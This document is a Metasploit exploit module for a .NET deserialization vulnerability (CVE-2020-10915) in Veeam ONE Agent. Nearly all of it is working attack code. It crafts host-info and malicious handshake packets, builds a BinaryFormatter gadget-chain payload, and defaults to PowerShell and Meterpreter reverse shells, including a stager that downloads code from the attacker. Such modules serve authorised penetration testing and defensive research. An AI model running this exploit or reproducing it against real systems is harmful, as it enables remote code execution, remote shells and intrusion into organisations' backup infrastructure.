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## https://sploitus.com/exploit?id=MSF:EXPLOIT/WINDOWS/MISC/VEEAM_ONE_AGENT_DESERIALIZATION
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote

  Rank = NormalRanking

  include Msf::Exploit::Remote::Tcp
  include Msf::Exploit::CmdStager
  include Msf::Exploit::Powershell

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Veeam ONE Agent .NET Deserialization',
        'Description' => %q{
          This module exploits a .NET deserialization vulnerability in the Veeam
          ONE Agent before the hotfix versions 9.5.5.4587 and 10.0.1.750 in the
          9 and 10 release lines.

          Specifically, the module targets the HandshakeResult() method used by
          the Agent. By inducing a failure in the handshake, the Agent will
          deserialize untrusted data.

          Tested against the pre-patched release of 10.0.0.750. Note that Veeam
          continues to distribute this version but with the patch pre-applied.
        },
        'Author' => [
          'Michael Zanetta', # Discovery
          'Edgar Boda-Majer', # Discovery
          'wvu' # Module
        ],
        'References' => [
          ['CVE', '2020-10914'],
          ['CVE', '2020-10915'], # This module
          ['ZDI', '20-545'],
          ['ZDI', '20-546'], # This module
          ['URL', 'https://www.veeam.com/kb3144']
        ],
        'DisclosureDate' => '2020-04-15', # Vendor advisory
        'License' => MSF_LICENSE,
        'Platform' => 'win',
        'Arch' => [ARCH_CMD, ARCH_X86, ARCH_X64],
        'Privileged' => false,
        'Targets' => [
          [
            'Windows Command',
            'Arch' => ARCH_CMD,
            'Type' => :win_cmd,
            'DefaultOptions' => {
              'PAYLOAD' => 'cmd/windows/powershell_reverse_tcp'
            }
          ],
          [
            'Windows Dropper',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :win_dropper,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter_reverse_tcp'
            }
          ],
          [
            'PowerShell Stager',
            'Arch' => [ARCH_X86, ARCH_X64],
            'Type' => :psh_stager,
            'DefaultOptions' => {
              'PAYLOAD' => 'windows/x64/meterpreter/reverse_tcp'
            }
          ]
        ],
        'DefaultTarget' => 2,
        'DefaultOptions' => {
          'WfsDelay' => 10
        },
        'Notes' => {
          'Stability' => [SERVICE_RESOURCE_LOSS], # Connection queue may fill?
          'Reliability' => [REPEATABLE_SESSION],
          'SideEffects' => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]
        }
      )
    )

    register_options([
      Opt::RPORT(2805),
      OptString.new(
        'HOSTINFO_NAME',
        [
          true,
          'Name to send in host info (must be recognized by server!)',
          'AgentController'
        ]
      )
    ])
  end

  def check
    vprint_status("Checking connection to #{peer}")
    connect

    CheckCode::Detected("Connected to #{peer}.")
  rescue Rex::ConnectionError => e
    CheckCode::Unknown("#{e.class}: #{e.message}")
  ensure
    disconnect
  end

  def exploit
    print_status("Connecting to #{peer}")
    connect

    print_status("Sending host info to #{peer}")
    sock.put(host_info(datastore['HOSTINFO_NAME']))

    res = sock.get_once
    vprint_good("<-- Host info reply: #{res.inspect}") if res

    print_status("Executing #{target.name} for #{datastore['PAYLOAD']}")

    case target['Type']
    when :win_cmd
      execute_command(payload.encoded)
    when :win_dropper
      # TODO: Create an option to execute the full stager without hacking
      # :linemax or calling execute_command(generate_cmdstager(...).join(...))
      execute_cmdstager(
        flavor: :psh_invokewebrequest, # NOTE: This requires PowerShell >= 3.0
        linemax: 9001 # It's over 9000
      )
    when :psh_stager
      execute_command(cmd_psh_payload(
        payload.encoded,
        payload.arch.first,
        remove_comspec: true
      ))
    end
  rescue EOFError, Rex::ConnectionError => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  ensure
    disconnect
  end

  def execute_command(cmd, _opts = {})
    vprint_status("Serializing command: #{cmd}")

    serialized_payload = Msf::Util::DotNetDeserialization.generate(
      cmd,
      gadget_chain: :TextFormattingRunProperties,
      formatter: :BinaryFormatter # This is _exactly_ what we need
    )

    print_status("Sending malicious handshake to #{peer}")
    sock.put(handshake(serialized_payload))

    res = sock.get_once
    vprint_good("<-- Handshake reply: #{res.inspect}") if res
  rescue EOFError, Rex::ConnectionError => e
    fail_with(Failure::Unknown, "#{e.class}: #{e.message}")
  end

  def host_info(name)
    meta = [0x0205].pack('v')
    packed_name = [name.length].pack('C') + name

    pkt = meta + packed_name

    vprint_good("--> Host info packet: #{pkt.inspect}")
    pkt
  end

  def handshake(serialized_payload)
    # A -1 status indicates a failure, which will trigger the deserialization
    status = [-1].pack('l<')

    length = status.length + serialized_payload.length
    type = 7
    attrs = 1
    kontext = 0

    header = [length, type, attrs, kontext].pack('VvVV')
    padding = "\x00" * 18
    result = status + serialized_payload

    pkt = header + padding + result

    vprint_good("--> Handshake packet: #{pkt.inspect}")
    pkt
  end

end